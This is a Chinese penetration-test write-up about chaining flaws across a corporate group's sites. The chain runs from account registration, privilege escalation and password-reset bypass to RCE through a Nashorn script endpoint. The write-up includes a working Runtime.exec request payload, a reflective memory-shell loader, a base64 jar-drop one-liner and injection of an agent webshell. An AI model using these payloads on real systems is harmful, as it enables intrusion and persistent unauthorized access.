前言 最近在参与一个远程检查工作,因此记录下对某集团的渗透测试思路。
渗透测试 信息搜集 发现某集团有这样一个系统具备注册功能,因此直接就开始注册账号。
这里借助接码平台进行账号注册。
http://h5.yezi66.net:90/invite/1122313
注册成功后,进入系统。
此时没有任何可用的、有价值的功能点。
继续信息搜集,发现该站点的账号可以在该集团的另外一处系统进行登录,只是没有权限。
且通过前端ui样式和后端接口服务判断,两个服务器上的系统为同一套系统。
通过对第一个请求接口logon
的分析发现,在账号密码正确时就已经返回了用户token
。
第二个请求接口verify
会判断凭证是否有效进入系统内。
此处判断依据为删除verify
接口在请求时携带payload
,发现无影响,因此该接口判断用户是否有权限进入系统不是通过userId
或者phone
之类的字段去判别,而是通过请求头里的token
去判别。
第三个请求接口logoff
从接口命名来看是用来退出登录了,可能这个接口会导致logon
获取的token
失效。
漏洞挖掘 垂直越权获取管理员数据 在对js分析时,发现存在一个xxxx-managexxx
的前端路由 可以访问。
访问方式为http://x.x.x.x/#/xxx-managexxx
、该路径点会回显几个用户手机号。
其对应的后端接口为http://x.x.x.x/api/xxx/xxx/listAdministrators
此时获取到了几个管理员的手机号
任意用户密码重置 在对js分析时,发现了/xxx/xxx/resetPassword
后端接口
但是不太清楚该接口需要传哪些参数,因此就对忘记密码功能进行测试,可能大概率两个接口的所需要的传参是差不多的。
输入上面管理员的手机号、验证码随便输入,再点击下一步
此时提示验证码已过期,直接修改errorCode的值为200
此过程的接口数据都放行、因此也就进入了步骤2
输入新密码为,在点击下一步,并抓包,将忘记密码重置密码功能点抓包的接口,改成上面发现的/xxx/xxx/resetPassword
提示验证码错误
再多发几次数据包?
诶…、回显200,好像重置成功。
所以这个重置密码接口很奇怪
就是你第一次发包重置密码,它会提示验证码错误。第二次发包也会提示验证码错误。
但是你多发几次数据包,它就好像重置成功了。
不明所以、能进后台就行。
SQL注入漏洞 继续测试,发现了一处数据源配置点,猜测可能有位置能够执行SQL语句。
任意代码执行漏洞 发现后台有个脚本库的功能点,该点好像是能去调试代码的。最开始看到脚本库的模板、还以为是nodejs
的代码执行漏洞。
1 2 3 const fetch = require("fetch") 其他代码块
试了半天、提示脚本编译失败。
然后尝试去执行java的代码,然后也是提示脚本编译失败。
并且服务端响应的报错里面包含java的堆栈信息,堆栈信息里面NashornScriptEngine
、因此确定是js引擎的代码执行漏洞。
但是直接执行java代码,又会提示编译脚本错误。
因此最终在这个集团找了好几个相同系统的网站进到后台去测试该功能点,发现得按照这个模板来,才能够实现任意java代码执行漏洞。
1 2 3 4 5 6 7 8 9 10 function get() { //任意java代码 return "返回你想要的数据"; } App.test=function(){ return get() } module.exports = App;
然后再通过接口去调用这个test函数,才有可能能去执行函数里的任意java代码。
最开始不管怎么执行都不成功,后面才发现,执行成功还要看参数3
的值是否有效。
数据包如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /xxx/xxx/xxx/script HTTP/2 Host: x.x.x.x Cookie: token=xxxx Content-Type: application/json Content-Length: 453 { "参数1": "xxx", "参数2": "yyy", "参数3": "zzz", "script": "function getToken() {\r\n var cmd = \"id\";\r\n var result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd).getInputStream(), \"GBK\").useDelimiter(\"\\\\A\").next();\r\n return result; \r\n \r\n}\r\n\r\n\r\nApp.test=function(){\r\n return getToken()\r\n}\r\n\r\nmodule.exports = App;", "args": { "envArgs": {}, "functionArgs": { "test": [{}] } } }
执行id
命令
尝试去注入内存马。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 var classLoader = java.lang.Thread.currentThread() .getContextClassLoader(); try { classLoader.loadClass('org.springframework.c.SignatureUtils') .newInstance(); } catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecodeBase64 = '字节码的base64'; var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder') .invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString) .invoke(decoder, bytecodeBase64); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString) .invoke(datatypeConverterClz, bytecodeBase64); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance() .decodeBuffer(bytecodeBase64); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a') .getBytes() .getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance(); }
执行后会提示Java reflection not supported when class filter is present
好像是不让反射的。
最后就尝试落地jar
,直接注入agent
马。
这里用的是https://github.com/veo/vagent
先将jar
转成base64
字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class main { public static void main(String[] args) throws IOException { String path = "agent.jar"; writeToFile(encodeFileToBase64(path),"12311.txt"); } // 将文件转换为Base64字符串 private static String encodeFileToBase64(String filePath) throws IOException { File file = new File(filePath); FileInputStream fis = new FileInputStream(file); byte[] fileContent = new byte[(int) file.length()]; fis.read(fileContent); fis.close(); return java.util.Base64.getEncoder().encodeToString(fileContent); } // 将字符串写入文件 private static void writeToFile(String aa, String filePath) throws IOException { FileOutputStream fos = new FileOutputStream(filePath); fos.write(aa.getBytes()); fos.close(); } }
再利用代码执行漏洞,将base64字符串转成字节数组输出到服务器上的jar
文件里面去。
1 new java.io.FileOutputStream("1.jar").write(java.util.Base64.getDecoder().decode("base64字符串"));
赋给jar
执行权限
然后运行jar
此时发现agent
是注入进去了。
然后尝试访问shell
,发现路由是加进去了,但是命令却始终执行不成功。
注:响应200、且通过其他站点判断,未注入agent
之前,访问/faviconc
是404
,注入后访问是200
。
总结 实际上在测试的时候,没有这么风调雨顺。
最开始在A站点注册后,进入系统,是要我们去申请一个组织的,但是你的账号是没权限申请的。
到了B站点后,发现是没有注册功能的,想进入后台,就利用了A站点的注册接口去B站点发包,然后进入后台,且在B站点发现了管理员的手机号,通过重置密码的漏洞,进入后台,发现SQL注入以及代码执行漏洞。
回到A站点,以及后面发现的C、D、E、F等等站点,在通过注册接口获取用户凭证后、利用越权漏洞获取管理员手机号,再重置管理员的密码进入系统后台,发现这些系统前端是不具有执行SQL,执行java代码的前端路由的。因此就直接利用了B站点执行SQL和java代码的后端接口去实现漏洞利用的。
这几个站点是互相成就了,才导致了彼此都被RCE了。
所以在实际渗透测试里,要做更多的信息搜集和资产搜集。